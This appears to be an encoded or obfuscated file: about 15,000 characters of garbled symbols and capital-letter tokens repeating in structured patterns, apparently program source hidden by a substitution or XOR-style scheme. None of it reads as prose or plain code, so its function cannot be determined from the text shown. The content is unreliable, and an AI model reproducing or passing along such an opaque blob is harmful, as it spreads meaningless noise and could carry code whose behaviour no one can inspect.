pMVPEA\Z[YA[E WAjN????H?H??S@[VA\Z[TQ_T_ j_VLjR]C[GPA?N?AGLN?\SWW]YL^QYEQ[YOLX^FPPZQAIIOLX^FPPZQA\RGWQZ[WSVF GPA@G[???\S\[ARPAjZEA\Z[OLX^FPPZQA \RGWQZ[WSVF  GPA@G[?\S\BjCDOETLDWOR\RGWQZ[WSVFRPAjAGT[F\P[A\RGWQZ[WSVFGPA@G[???P^]O]QTM@E]\]W\@C_BRB@GO[^jjM\BjCDOETLDWOR?\SWW]YL^QYEQ[YP^]O]QTM@E]\II\RGWQZ[WSVFP^]O]QTM@E]\	IIWGRGVLX W]D APOP^]O]QTM@E]\IICOQ [GQ\DVjWVOW@P^]O]QTM@E]\NAZVAOBYVCGWQYOAZVAO?P^]O]QTM@E]\STYFP?PG[TVQB @WXu\BjCDOETLDWORGFWPOXC???\SPG[TVQB @WXPG[TVQB @WXPG[TVQB @WX	 NZ[j@Y_  E]Ve}ej|{ajxtme}ej|{ajxtm_ FLAR^F L\Z[j@Y_  E]V?E@T^ABXX^X^PWuOLX^FPPZQAGFWPOXC?\S\BjCDOETLDWOR E@T^ABXX^X^PW\RGWQZ[WSVF E@T^ABXX^X^PW E@T^ABXX^X^PW_Bj\F\@\] _^_PE@T^ABXX^X^PW?\SWW]YL^QYEQ[Y E@T^ABXX^X^PWWGRGVLX W]D APOE@T^ABXX^X^PWCOQ [GQ\DVjWVOW@E@T^ABXX^X^PWN?xPXVTV]PQTQTEAPGF\[R@YTGY\[PTGALEP??_OjYYOOALOTGQB[^XC\BjCDOETLDWORE@T^ABXX^X^PW\RGWQZ[WSVF?P^]O]QTM@E]\E@T^ABXX^X^PW?H?H???\SP^]O]QTM@E]\NM@]]O]FCEe}ejxtzgjcpgf|z{j^CY^QEM@]]O]FCE?u@EQTAPjZEA\Z[\BjCDOETLDWOR OLX^FPPZQAOLX^FPPZQA ???GPA@G[????H??H?DQ]CLATTGGTLGFWPOXC?OPR^YCBW\L@jVTZ[PZCCL^FZ]A[?Q\\ P@Z@F@][ P]F]TFD^@OPR^YCBW\L_WPXR@__WMQ Mj\[]]ZYVj_WPXR@__W?\SOLX^FPPZQAQ\\ P@ZN??SZGPTV]Q\\ P@ZTFX][MGTN?\SOLX^FPPZQA  X][MGTWW]YL^QYEQ[Y DQ]CLATnhOPR^YCBW\LX][MGT?H???H?\SQPS\[PQWW]YL^QYEQ[Y OLX^FPPZQAWW]YL^QYEQ[Y N?SZGPTV]TGGTLuWW]YL^QYEQ[Y bejey`r|{jq|g\BjCDOETLDWOR TFLO]AXR]FXWT LDQ]CLATnhLO]AXR]FXWT L???H????DQ]CLAT\BjCDOETLDWOR DQ]CLAT?OVPBX]@QQTGGTL???Qj^jPR@WW]YL^QYEQ[Y  WW]YL^QYEQ[Y OLX^FPPZQA \BjCDOETLDWOR  P^]O]QTM@E]\MM WQ?SZGPTV]DQ]CLATTFSYWSTOX[\GZN?]]XYYXLRAAPZu\BjCDOETLDWORSYWSTOX[\GZ???\S]]XYYXLRAAPZII]]XYYXLRAAPZ	VZ[A\[@P?PM ^BAVO XQTEuWW]YL^QYEQ[Y SYWSTOX[\GZSTYFP[@YY  ?\S\BjCDOETLDWOR PM ^BAVO XQTEIIWGRGVLX W]D APOPM ^BAVO XQTEVZ[A\[@P?\SSYWSTOX[\GZGFWPOXC\BjCDOETLDWOR  \BjCDOETLDWOR OLX^FPPZQA  PM ^BAVO XQTE Qj^jPR@VZ[A\[@P?OVPBX]@QQnhSYWSTOX[\GZ?H?\SOVPBX]@QQN?\SOLX^FPPZQA\BjCDOETLDWOR FPAjAGT[F\P[A\BjCDOETLDWOR  ?GPA@G[?H?u@EQTAPjZEA\Z[OLX^FPPZQA OLX^FPPZQA OLX^FPPZQA ?SZGPTV]OVPBX]@QQTFQPDXZTSXXWEN?DDAPGjYE_B@SFOFC\VPQPDXZTSXXWEMM?\SFWDSWO@V[[ CFM_\MEQPDXZTSXXWEASXDZZS^@LTP^ Z[BP^]O]QTM@E]\N?[W[[MYZS@M^M[YLQPDXZTSXXWE?P_Y^QVA^YQPDXZTSXXWEQCZVMe}ej|{ajxtme}ej|{ajxtmVP_D_LTCGSGQPQCZVM?DDAPGjYE_B@SFOFC\VPQPDXZTSXXWE?YTS^L]AS]jTQPDXZTSXXWE?\SQPDXZTSXXWEGFWPOXCN????POMML[MC\GXBAG@P?MATGYR_DOADBF\AAG@P?H?HPYFPN?DDAPGjYE_B@SFOFC\VPQPDXZTSXXWE ???H?H?HVTAV]a]GZBTWYPYA[E WAjNWMXVTA^SVIVVGV XL[WMXVTA^SVk ???Z^MWjQGV^@FQTLY@\RGWQZ[WSVF YA[E WAj?HVTAV]pMVPEA\Z[YA[E WAjN?H??H?S@[VA\Z[\O_\]GYAYCQ??N?FATA\V^BL WT GSTYFP?\S^BL WT GGPA@G[?^BL WT GAG@P?AGLN?[LQ\GB^XABB ZRQ@AA???TQ_T_ j_VLjR]C[GPA????MAT\_XLBVBOQZF????M^[OL_AQTFLV ????MMALXPRCVXXYWZCZ?OYRXEQV@BB_ OTZ^A?Y__GTWYXB[GRYWDW?Y^SCWV\RDVV VF?_LS^LOQM_RPGE?\SEWOO j^GTYC@[A_]LZN?\SWW]YL^QYEQ[Y WW]YL^QYEQ[Y Q\QjTVA\Z[\BjCDOETLDWORN?\S\BjCDOETLDWOR WW]YL^QYEQ[Y WW]YL^QYEQ[Y WW]YL^QYEQ[Y?HPYFPN?RL^YFCQO@C^W\RGWQZ[WSVFWW]YL^QYEQ[Y?H?H??HVTAV]a]GZBTWYPYA[E WAjN_EXTMX[EBBCe}ej|{ajxtme}ej|{ajxtmWT]FAEZ^P_EXTMX[EBBC????HVTAV]pMVPEA\Z[YA[E WAjN?H?H?S@[VA\Z[TXQVRYXZ^SQX\jW[W?N??AGLN?\SOLX^FPPZQA OLX^FPPZQA IIWW]YL^QYEQ[Y \RGWQZ[WSVF GPA@G[?\SWW]YL^QYEQ[Y \RGWQZ[WSVF  II\BjCDOETLDWOR WW]YL^QYEQ[Y GPA@G[?WDQCDBMF_Z@PY\BjCDOETLDWOR ?\SWDQCDBMF_Z@PY\[AuRPAjZEA\Z[WW]YL^QYEQ[Y 	 GPA@G[?u@EQTAPjZEA\Z[OLX^FPPZQA WDQCDBMF_Z@PY\RGWQZ[WSVF ???uOLX^FPPZQA ]ZXPj@GYTGGTL\BjCDOETLDWOROLX^FPPZQASTYFP\BjCDOETLDWORSTYFP??HVTAV]a]GZBTWYPYA[E WAjN??HVTAV]pMVPEA\Z[YA[E WAjN?H?GZATAPD@ZA\P[ASZGbecPGFPwYZV^??H???S@[VA\Z[EWOO j^GTYC@[A_]LZ?N?\S\RGWQZ[WSVF WW]YL^QYEQ[Y  N?GPA@G[AG@P?H??\S\RGWQZ[WSVF WW]YL^QYEQ[YRPAjAGT[F\P[ATFFGjR\  O\^FDN???GPA@G[STYFPSA _MCRQMe}ejxtzgjcpgf|z{LZPO_DE\jOSA _MCRQM?H??GXDMDC[\Q_OO ^]P MZD^\[\BD?T^B__RYREERXT]\FS[jCQDGT^CM@\RGWQZ[WSVFSTYFP?\S\BjCDOETLDWORT^B__RYREERX\FFPAT^B__RYREERXn\RGWQZ[WSVF h\[AT^B__RYREERXn\RGWQZ[WSVF h\[AT^B__RYREERXnWW]YL^QYEQ[Y h	 GXDMDC[\Q_OO ^\[AT^B__RYREERXn\BjCDOETLDWOR h???^X[G]GALZV O \[ARPAjZEA\Z[OLX^FPPZQA ?\S^X[G]GALZV O WW]YL^QYEQ[Y ^X[G]GALZV O 	GXDMDC[\Q_OO ^N?GPA@G[STYFP?H?????WTS\^EBVj\[ARPAjZEA\Z[WW]YL^QYEQ[Y ?\SWTS\^EBVjN??Q^_]ODG \\[ARPAjZEA\Z[OLX^FPPZQA ?Q[ FGj TY]OTGGTL   ?MZGOE[C_Q[ FGj TY]OnOLX^FPPZQA  \BjCDOETLDWOR Q^_]ODG \h???MZGOE[C_OLX^FPPZQA\[AMZGOE[C_ ?\SWW]YL^QYEQ[Y WTS\^EBVj	MZGOE[C_N?uF@FEP[Q]PTGAWPTA??GPA@G[STYFP?H?H??GPA@G[AG@P?H??S@[VA\Z[]GTWOVLSCXAC[?N?Q^_]ODG \\[ARPAjZEA\Z[\BjCDOETLDWOR ?@EQTAPjZEA\Z[WW]YL^QYEQ[Y Q^_]ODG \?@EQTAPjZEA\Z[WW]YL^QYEQ[Y WW]YL^QYEQ[Y ??H??S@[VA\Z[LA BFMCG@[AP??N?besPTA@GPQ|XTRP[ZGXTYD@ZA\P[A??PG[P]ZYOTGGTL?AGLN?PG[P]ZYOn\BjCDOETLDWOR hBRW^TOAOBRZT[TBSA?PG[P]ZYOn\BjCDOETLDWOR he}ejcpgf|z{?PG[P]ZYOn\BjCDOETLDWOR hOLX^FPPZQA?PG[P]ZYOn\RGWQZ[WSVF hOLX^FPPZQA \BjCDOETLDWOR \FjFFY
?PG[P]ZYOnOLX^FPPZQA hOLX^FPPZQA WW]YL^QYEQ[Y\FjX@YA\F\AP
???PG[P]ZYOnWW]YL^QYEQ[Y h\FFPAryzwtyfn\RGWQZ[WSVF  h
FAG\[Rryzwtyfn\BjCDOETLDWOR  h?PG[P]ZYOnWW]YL^QYEQ[Y h\FFPAjfpgcpgn\RGWQZ[WSVFh
WW]YL^QYEQ[Y FAG\[Rjfpgcpgn\RGWQZ[WSVFh??FPMCVOQMSY\FFPAryzwtyfnOLX^FPPZQA hWW]YL^QYEQ[Y ryzwtyfn\RGWQZ[WSVF  h
OLX^FPPZQAryzwtyfn\BjCDOETLDWOR  h???PG[P]ZYOn\BjCDOETLDWOR  hFPMCVOQMSY
?PG[P]ZYOn\BjCDOETLDWOR  h\BjCDOETLDWOR  FPMCVOQMSY?PG[P]ZYOnOLX^FPPZQA  hPXEALryzwtyfn\BjCDOETLDWOR   h
????PG[P]ZYOnOLX^FPPZQA  hPXEALryzwtyfn\RGWQZ[WSVF  h
?PG[P]ZYOnWW]YL^QYEQ[Y  hOLX^FPPZQA  \RGWQZ[WSVF  
\[AuRPAjZEA\Z[\BjCDOETLDWOR ??PG[P]ZYOn\RGWQZ[WSVF hZQMT]OE]O[\j WW]YL^QYEQ[Y 
?PG[P]ZYOn\BjCDOETLDWOR hOLX^FPPZQA  \BjCDOETLDWOR  
\[AuRPAjZEA\Z[\BjCDOETLDWOR ?PG[P]ZYOn\RGWQZ[WSVF h\RGWQZ[WSVF  \BjCDOETLDWOR  
\[AuRPAjZEA\Z[\BjCDOETLDWOR  ?PG[P]ZYOn\RGWQZ[WSVF hWW]YL^QYEQ[Y WW]YL^QYEQ[Y  
\[AuRPAjZEA\Z[OLX^FPPZQA ?CSROQS@LQDMF@XQVCA@ST?PG[P]ZYOn\BjCDOETLDWOR hu\RGWQZ[WSVF CSROQS\BjCDOETLDWOR 
S\TT^F[[QDCMAAC^FuWW]YL^QYEQ[Y CSROQS\BjCDOETLDWOR STYFP[@YY
???PG[P]ZYOn\RGWQZ[WSVF huOLX^FPPZQA CSROQS\RGWQZ[WSVF  
S\TT^F[[QDCMAAC^FuWW]YL^QYEQ[Y CSROQSOLX^FPPZQA  STYFP[@YY
?PG[P]ZYOnOLX^FPPZQA huOLX^FPPZQA CSROQS\BjCDOETLDWOR 
S\TT^F[[QDCMAAC^FuOLX^FPPZQA CSROQS\BjCDOETLDWOR STYFP[@YY
?jWELDEXW^Y\QR^\RGWQZ[WSVF ZFPEEWPPYMG@]twfeta}R ?TTVPXOQjORWW]YL^QYEQ[Y ZFPEEWPPYMG@]twfeta}R ?PG[P]ZYOn\RGWQZ[WSVF h?SZGPTV]TGGTLBXAASZLDCW[WR\CSROQStwfeta}\BjCDOETLDWOR TFYLCCWRGYF ^AN?\SuWW]YL^QYEQ[Y YLCCWRGYF ^AjWELDEXW^Y\QR^OLX^FPPZQA PG[P]ZYOnWW]YL^QYEQ[Y h?\SuOLX^FPPZQA YLCCWRGYF ^ATTVPXOQjOR\[Au\BjCDOETLDWORYLCCWRGYF ^ATTVPXOQjORWW]YL^QYEQ[Y  N?PG[P]ZYOnWW]YL^QYEQ[Y h?WGPT^???H?H?@[FPATTVPXOQjORYLCCWRGYF ^A?GCZZFjGj]ZD@\BjCDOETLDWOR  OLX^FPPZQA 
u\BjCDOETLDWOR WW]YL^QYEQ[Y STYFP?\S\RGWQZ[WSVF GCZZFjGj]ZD@IIGCZZFjGj]ZD@IIGCZZFjGj]ZD@OLX^FPPZQA GCZZFjGj]ZD@\BjCDOETLDWOR ?PG[P]ZYOn\RGWQZ[WSVF huOLX^FPPZQA twfeta}GCZZFjGj]ZD@WW]YL^QYEQ[YFAG\[RuOLX^FPPZQA twfeta}GCZZFjGj]ZD@\BjCDOETLDWOR STYFP
?PG[P]ZYOnOLX^FPPZQA hu\BjCDOETLDWOR twfeta}OLX^FPPZQA \BjCDOETLDWORFAG\[Ru\BjCDOETLDWOR twfeta}WW]YL^QYEQ[Y OLX^FPPZQA  STYFP
???PG[P]ZYOnOLX^FPPZQA hu\BjCDOETLDWOR twfeta}\RGWQZ[WSVF \RGWQZ[WSVFFAG\[Ru\BjCDOETLDWOR twfeta}OLX^FPPZQASTYFP[@YY  OLX^FPPZQASTYFP
????PG[P]ZYOnWW]YL^QYEQ[YhQPS\[PQ\BjCDOETLDWOR
?PG[P]ZYOnWW]YL^QYEQ[YhQPS\[PQOLX^FPPZQA IIQPS\[PQ\BjCDOETLDWORIIQPS\[PQ\BjCDOETLDWORIIWW]YL^QYEQ[Y  \BjCDOETLDWORII\RGWQZ[WSVF\BjCDOETLDWORII\FFPAryzwtyfnWW]YL^QYEQ[YhIIWW]YL^QYEQ[YWW]YL^QYEQ[Y
?PG[P]ZYOn\RGWQZ[WSVFh\[ARPAjZEA\Z[WW]YL^QYEQ[Y ?PG[P]ZYOn\RGWQZ[WSVF h\[ARPAjZEA\Z[\RGWQZ[WSVF?PG[P]ZYOn\BjCDOETLDWORh\[ARPAjZEA\Z[\BjCDOETLDWOR???V]DEYF_R]]W\@C_BRB@GO[^jjM\RGWQZ[WSVFTGGTLYGS\PAAVG _SM_W[ALYGS\PAAV
YGS\PAAVYGS\PAAV??LWD \??@SW@TPOjVL\?\SWW]YL^QYEQ[YV]DEYF_R]N????SZGPTV]V]DEYF_R]TFX][MGTN???\S[jLOV@TQDQVS[QX][MGTVZ[A\[@P??LWD \??ZTFLFL\RGWQZ[WSVFX][MGT
\[A\FFPAX][MGTnWW]YL^QYEQ[Yh
X][MGTn\BjCDOETLDWORh?EL@OjSWAWMB\RGWQZ[WSVFX][MGT\FFPAX][MGTnWW]YL^QYEQ[Yh
\[AX][MGTn\RGWQZ[WSVFh?\SZTFLFLEL@OjSWAWMBIIEL@OjSWAWMB	WW]YL^QYEQ[Y   @SW@TPOjVL\????H?H?PG[P]ZYOnOLX^FPPZQAhLWD \??PG[P]ZYOn\BjCDOETLDWORh@SW@TPOjVL\?W@GGYDB SVWW]YL^QYEQ[YWW]YL^QYEQ[Y  
uRPAjZEA\Z[\RGWQZ[WSVF ?PG[P]ZYOnWW]YL^QYEQ[YhOLX^FPPZQAW@GGYDB SV
\BjCDOETLDWOR W@GGYDB SVk?]j@SRMWFOLX^FPPZQA\RGWQZ[WSVF  
uRPAjZEA\Z[\BjCDOETLDWORTGGTLTGGTL?PG[P]ZYOn\BjCDOETLDWORhOLX^FPPZQA]j@SRMWFPXEAL]j@SRMWFnAhIIPXEAL]j@SRMWFnOLX^FPPZQAh
?HVTAV]a]GZBTWYPYA[E WAjN?PG[P]ZYOnOLX^FPPZQAh\RGWQZ[WSVFYA[E WAjRPAxPFFTRP?HVTAV]pMVPEA\Z[YA[E WAjN????PG[P]ZYOn\RGWQZ[WSVFh\BjCDOETLDWORYA[E WAjRPAxPFFTRPMM?H???GPA@G[PG[P]ZYO?H??S@[VA\Z[XjD_EAOM]A GL^GQA?N?\S\RGWQZ[WSVF\BjCDOETLDWORN?GPA@G[FAG\[RF\APj@GY\RGWQZ[WSVF ?H?GPA@G[\BjCDOETLDWOR\BjCDOETLDWOR
FAG\[RBEjYZR\[j@GY?H???S@[VA\Z[BROVEFCLP^ZDWS[C[^\jjW?N?OGQTXT\[O@DZY?\S\BjCDOETLDWOR\BjCDOETLDWORN?F[TEF]ZA\FZYTAPQFV]PQ@YPG??OGQTXT\[O@DZYFAG\[ROLX^FPPZQA]ZXPj@GYVZ[FAT[A\RGWQZ[WSVF?H?\SOGQTXT\[O@DZY\BjCDOETLDWOR\BjCDOETLDWORN?OGQTXT\[O@DZYFAG\[R\RGWQZ[WSVFRPAjF\APj@GYVZ[FAT[A\RGWQZ[WSVF?H?\SOGQTXT\[O@DZYOLX^FPPZQA\BjCDOETLDWORN?OGQTXT\[O@DZYFAG\[ROLX^FPPZQARPAjWYZR\[SZOLX^FPPZQAVZ[FAT[A\BjCDOETLDWOR?H?\SOGQTXT\[O@DZY\RGWQZ[WSVFOLX^FPPZQAN?OGQTXT\[O@DZYFAG\[R\RGWQZ[WSVFFAG\[RRPAjZEA\Z[\BjCDOETLDWOR VZ[FAT[AWW]YL^QYEQ[Y?H?\SOGQTXT\[O@DZY\FFPAjfpgcpgnWW]YL^QYEQ[YhN??OGQTXT\[O@DZYFAG\[RjfpgcpgnWW]YL^QYEQ[Yh?H???\SOGQTXT\[O@DZY\FFPAjfpgcpgn\RGWQZ[WSVFhN?OGQTXT\[O@DZYFAG\[RjfpgcpgnWW]YL^QYEQ[Yh?H?\SOGQTXT\[O@DZYN?beaTWYPwYZV^VT@FTYX\QQYPBTGP??GPA@G[[C[^\jjW?H?GPA@G[OGQTXT\[O@DZY?H?S@[VA\Z[@GXWBYBBDE?N?AGLN?EZYL[ZX\TYFATW\Y\OPG????MF]CO_QE^[DOLX^FPPZQA\RGWQZ[WSVF 
\[Au\RGWQZ[WSVF\BjCDOETLDWOR ?\S\RGWQZ[WSVF\RGWQZ[WSVFuWW]YL^QYEQ[Y ?AF]_@M^LTC@_MF]CO_QE^[DMPMMF]CO_QE^[D	 		
MF]CO_QE^[DMF]CO_QE^[DMF]CO_QE^[D	k 
MM?\SEWOO j^GTYC@[A_]LZN?GPA@G[???H????\SVX\_MQ  YSX[B\BjCDOETLDWORN?GPA@G[??H??ZQ\MMZOjDWW]YL^QYEQ[Y AG@P???G\C_GOBYB@P]QCLE^A BTC^QC?\S?OLX^FPPZQAG\C_GOBYB@P?II\FFPAG\C_GOBYB@Pn\RGWQZ[WSVF hII\RGWQZ[WSVF G\C_GOBYB@Pn\RGWQZ[WSVF hIIG\C_GOBYB@Pn\RGWQZ[WSVF h?II\FFPAG\C_GOBYB@PnWW]YL^QYEQ[YhIIOLX^FPPZQAG\C_GOBYB@PnWW]YL^QYEQ[YhIIPXEALG\C_GOBYB@PnWW]YL^QYEQ[Yh?N????]GTWOVLSCXAC[?GPA@G[?H?G]XZFLjEZFQG\C_GOBYB@Pn\BjCDOETLDWOR  h?D]Y^ G\C_GOBYB@Pn\RGWQZ[WSVFh?_OjYYOOALOTGQB[^XC\RGWQZ[WSVFG]XZFLjEZFQOLX^FPPZQA ????]W\CMAFDWW]YL^QYEQ[Y\BjCDOETLDWOR
FAG\[RRPAjZEA\Z[\RGWQZ[WSVF CWWMPMMLWLA]QCWWMPMM?\S]W\CMAFD\RGWQZ[WSVF ]W\CMAFDD]Y^ AG@PN?D]Y^ \BjCDOETLDWOROLX^FPPZQAD]Y^ TGGTL]W\CMAFD?OLX^FPPZQA D]Y^ ?\BjCDOETLDWOR D]Y^ ]W\CMAFD?HPYFP\SWW]YL^QYEQ[YD]Y^ N?WW]YL^QYEQ[Y D]Y^ ?H?FAGPTX\[RF@WFA\A@A\Z[XTE???\SWW]YL^QYEQ[Y AG@PZQ\MMZOjD\[AAF]_@M^LTC@_N?FFTVZ[CPGAFATW\Y\OPGSZGbegPQ@MfAZGP??]GTWOVLSCXAC[?GPA@G[??H??LY[BX[_@WBQjX^M_R@D]] ?BQ_^XPLPY\SRLY[BX[_@WBQ?????@P@S]PADTGGTL????\SOLX^FPPZQAWW]YL^QYEQ[YN?SZGPTV]TGGTLRPAjZEA\Z[\BjCDOETLDWORTGGTLTFSYWSTOX[\GZN????\SWW]YL^QYEQ[Y SYWSTOX[\GZSYWSTOX[\GZN?@P@S]PADnhSYWSTOX[\GZ?H?H?H?e}eXTAV]PMEGPFF\Z[V@W\VV]T\[???EXFOWL]VMA]TGGTL?\SQPS\[PQ\BjCDOETLDWORN?XZFVM]WW]YL^QYEQ[Y\RGWQZ[WSVF 
uWW]YL^QYEQ[Y \RGWQZ[WSVFbex`jey`r|{jq|g\RGWQZ[WSVFSTYFP?\S\RGWQZ[WSVFXZFVM]N?SZGPTV]XZFVM]TFQPDXZTSXXWEN?EXFOWL]VMA]nh\BjCDOETLDWOR QPDXZTSXXWE?H?EGZETRTAPVZ[[PVAPQWYZZXS\YAPG?????H?H??FWPXW^ YDV_TGGTL????\BjCDOETLDWORBROVEFCLP^ZDWS?OLX^FPPZQA BRW^TOAOBRZT[TBSA?\RGWQZ[WSVF\RGWQZ[WSVF GFWPOXCOLX^FPPZQA ?\BjCDOETLDWOR\RGWQZ[WSVFtwfeta}OLX^FPPZQA?OLX^FPPZQA@P@S]PAD?\RGWQZ[WSVFEXFOWL]VMA]?OLX^FPPZQAXjD_EAOM]A GL^GQA?\BjCDOETLDWOR_^B@PXjSjDjGOW_ TLY[BX[_@WBQ????\BjCDOETLDWOR[jWAQY@M@^ZMOPCLY[BX[_@WBQ?WW]YL^QYEQ[YZBEV[BG[_Q[MRDGQA[F][GOARYXPM??????M_WF^AQV]\RGWQZ[WSVFWW]YL^QYEQ[Y
BEj_FZ[jP[VZQPFWPXW^ YDV_OLX^FPPZQA FWPXW^ YDV_?[CASC@LZY[RDB[OOFDOBWF]]LMPP\jM_WF^AQV]G]XZFLjEZFQ?YAB_^VTGGTLWW]YL^QYEQ[Y\BjCDOETLDWOR????jRXXM]RM]_ABZ[@YY????]GTWOVLSCXAC[??SZGPTV]D]Y^ TF_X_VEQRSN??\S\BjCDOETLDWOR AG@PZQ\MMZOjDAF]_@M^LTC@_N?WGPT^??H??_X_VEQRS\BjCDOETLDWORFAG\[R_X_VEQRS??\S_X_VEQRSN?VZ[A\[@P?H?AGLN?VZ[F\QPG\[Y\[\[R?????\P_BA_DG]XZFLjEZFQ????M]MXZ[OCBRDXGCAQRZCV_X_VEQRS[CASC@LZY[RDB[YAB_^VkS@[VA\Z[ACAE]YQFW@FP\P_BA_DN?PG[P]ZYOOOFDOBWF]]LMPP\jACAE]YQFW\P_BA_D??\SPG[P]ZYOGPA@G[STYFP?GPA@G[WW]YL^QYEQ[Yu\RGWQZ[WSVF\RGWQZ[WSVFPG[P]ZYOAG@P?H?\SM]MXZ[OCBRDXGN?Z^MWjQGV^@FQTLY@OLX^FPPZQAOLX^FPPZQA_X_VEQRS?VZ[A\[@P?H?efgXPFFTRPFWP[V]XTG^\APGTAZG????XL^EEPA[OOFDOBWF]]LMPP\jM]MXZ[OCBRDXGG]XZFLjEZFQ?\SXL^EEPA[N?Z^MWjQGV^@FQTLY@\RGWQZ[WSVFOLX^FPPZQA_X_VEQRS?VZ[A\[@P?H?jRXXM]RM]_ABZu\BjCDOETLDWOROLX^FPPZQAXL^EEPA[AG@P????\SWW]YL^QYEQ[YjRXXM]RM]_ABZN??\S\BjCDOETLDWOR\BjCDOETLDWOR N?beg\V]aPMAte|ZEA\Z[GZB???@EQTAPjZEA\Z[\RGWQZ[WSVF _X_VEQRS?H?WGPT^?HPYFPN?Z^MWjQGV^@FQTLY@\BjCDOETLDWORWW]YL^QYEQ[Y_X_VEQRS?H?HVTAV]a]GZBTWYPYA[E WAjN?Z^MWjQGV^@FQTLY@\BjCDOETLDWORYA[E WAj?VZ[A\[@P?HVTAV]pMVPEA\Z[YA[E WAjN?VZ[A\[@P?H??H?\SWW]YL^QYEQ[YjRXXM]RM]_ABZN?C B\EAY_TGWOOFDOBWF]]LMPP\j\RGWQZ[WSVF TGGTL?OLX^FPPZQABROVEFCLP^ZDWS?\BjCDOETLDWOR BRW^TOAOBRZT[TBSA??\RGWQZ[WSVF\BjCDOETLDWOR GFWPOXC\BjCDOETLDWOR ??\RGWQZ[WSVF??G]XZFLjEZFQ?VC\G^YSRjC\RGWQZ[WSVFFAGAGWW]YL^QYEQ[YC B\EAY_TGWOLX^FPPZQA WW]YL^QYEQ[Y?PR^OADXM\QT\RGWQZ[WSVFVC\G^YSRjC  ?SZGPTV]D]Y^ TF_X_VEQRSN??\S\RGWQZ[WSVFAG@PZQ\MMZOjDAF]_@M^LTC@_N?WGPT^?H?_X_VEQRS\RGWQZ[WSVFFAG\[R_X_VEQRSVD^\Ee}ej|{ajxtme}ej|{ajxtmY]jEO^Q@EXVD^\E?\S_X_VEQRSN?uXZ[ZXZGE]\OP@[\S\VTA\Z[??VZ[A\[@P?H?^F] ^XFFBZFPEEWPPYMG@]BROVEFCLP^ZDWS\BjCDOETLDWORAG@P??X_XGPF\^WR@C\BjCDOETLDWORPR^OADXM\QT?RYF\DT\ M\BjCDOETLDWOR_X_VEQRS
STYFP

?SZGA^C D]P\ A^C D]P\ 	X_XGPF\^WR@CA^C D]P\ N???\SWW]YL^QYEQ[YAG@PZQ\MMZOjDAF]_@M^LTC@_N?WGPT^?H?D @CMGC[OX^XA^C D]P\ X_XGPF\^WR@C?]B^GDW]B^AO_X_VEQRSRYF\DT\ M\BjCDOETLDWOR^F] ^XFFBOLX^FPPZQAA^C D]P\ \RGWQZ[WSVFX_XGPF\^WR@C\RGWQZ[WSVFPR^OADXM\QTnA^C D]P\ h?\W@FQFGFDjWZGEOT\E]B^GDW]B^AOD @CMGC[OX^X
S@[VA\Z[ACAE]YQFW@FPG]XZFLjEZFQN?PG[P]ZYOOOFDOBWF]]LMPP\jACAE]YQFWG]XZFLjEZFQ??\SPG[P]ZYOGPA@G[STYFP?GPA@G[\BjCDOETLDWOR uOLX^FPPZQAWW]YL^QYEQ[YPG[P]ZYOAG@P?H[@YY?\SD @CMGC[OX^X\BjCDOETLDWOR \W@FQ\W@FQN?jRQOOFDOBWF]]LMPP\j\W@FQG]XZFLjEZFQ??jWELDEXW^Y\QR^jRQ
uOLX^FPPZQAWW]YL^QYEQ[YjRQAG@P[@YY?\SWW]YL^QYEQ[Y jWELDEXW^Y\QR^N???jRXXM]RM]_ABZjWELDEXW^Y\QR^OVC@^CLFGWQFVYGZV@B OVC@^CLF?\SWW]YL^QYEQ[Y\BjCDOETLDWOR N?@EQTAPjZEA\Z[OLX^FPPZQA_X_VEQRS?H????WGPT^??H????H??H?\SWW]YL^QYEQ[Y jRXXM]RM]_ABZN?WGPT^?H?H?H?\S\RGWQZ[WSVF jRXXM]RM]_ABZN?GPA@G[?H?\SZBEV[BG[_Q[M\RGWQZ[WSVFWW]YL^QYEQ[YN?QPYPAPjZEA\Z[P CPERLBjFTMZ@@Z\BjCDOETLDWOR?H?\S\FFPAryzwtyfnOLX^FPPZQA hII\RGWQZ[WSVF ryzwtyfnOLX^FPPZQA hryzwtyfnWW]YL^QYEQ[YhTGGTL????ryzwtyfnOLX^FPPZQAh\RGWQZ[WSVF\RGWQZ[WSVFryzwtyfnOLX^FPPZQAhZBEV[BG[_Q[M?\S\FFPAjRXXM]RM]_ABZnWW]YL^QYEQ[YhOLX^FPPZQAjRXXM]RM]_ABZnWW]YL^QYEQ[Y hN?X^TLL]ELC_EL]@jRXXM]RM]_ABZn\BjCDOETLDWOR h\FFPAjRXXM]RM]_ABZn\RGWQZ[WSVFhWW]YL^QYEQ[YjRXXM]RM]_ABZnWW]YL^QYEQ[Yh
jRXXM]RM]_ABZnOLX^FPPZQAhPXEALjRXXM]RM]_ABZn\RGWQZ[WSVFh?H??]WZFM]WSTYFP??S\B]ZjXGXLWTGGTL???\S\FFPAjRXXM]RM]_ABZn\RGWQZ[WSVFhOLX^FPPZQA jRXXM]RM]_ABZn\RGWQZ[WSVFhN?\RE]S^TPTGGTL??SZGPTV]jRXXM]RM]_ABZnWW]YL^QYEQ[YhTFE_SZVZ_S@ N?\S\BjCDOETLDWORE_SZVZ_S@ E_SZVZ_S@ N?\RE]S^TPnhE_SZVZ_S@ ?H?Q\TR[ZFA\VQTATSYZBRGTE]??H?C[D^PBC TWryzwtyfnOLX^FPPZQAh?\RE]S^TPOQQQOSXSOQ\LRL\RE]S^TP????ryzwtyfn\RGWQZ[WSVFh\RE]S^TP?S\B]ZjXGXLWnOLX^FPPZQAh\RE]S^TP?\SPXEALOLX^FPPZQA\RE]S^TPC[D^PBC TWIIPXEAL\BjCDOETLDWORC[D^PBC TW\RE]S^TPN?]WZFM]WAG@P?H??H??\S\FFPAjRXXM]RM]_ABZnOLX^FPPZQAh\RGWQZ[WSVFjRXXM]RM]_ABZnWW]YL^QYEQ[YhN?\RE]S^TPTGGTL??SZGPTV]jRXXM]RM]_ABZn\BjCDOETLDWORhTFE_SZVZ_S@ N?\S\RGWQZ[WSVFE_SZVZ_S@ E_SZVZ_S@ N?\RE]S^TPnhE_SZVZ_S@ ?H?H?C[D^PBC TWryzwtyfnOLX^FPPZQAh????\RE]S^TPOQQQOSXSOQ\LRL\RE]S^TP???ryzwtyfn\RGWQZ[WSVFh\RE]S^TP?S\B]ZjXGXLWn\BjCDOETLDWORh\RE]S^TP?\SPXEALOLX^FPPZQA\RE]S^TPC[D^PBC TWIIPXEAL\RGWQZ[WSVFC[D^PBC TW\RE]S^TPN???]WZFM]WAG@P?H?H?XWFAG\[RFAG\VATWZGAPD@\CTYP[VPVYTFF??\S\FFPAjRXXM]RM]_ABZn\BjCDOETLDWOR h\BjCDOETLDWORjRXXM]RM]_ABZn\RGWQZ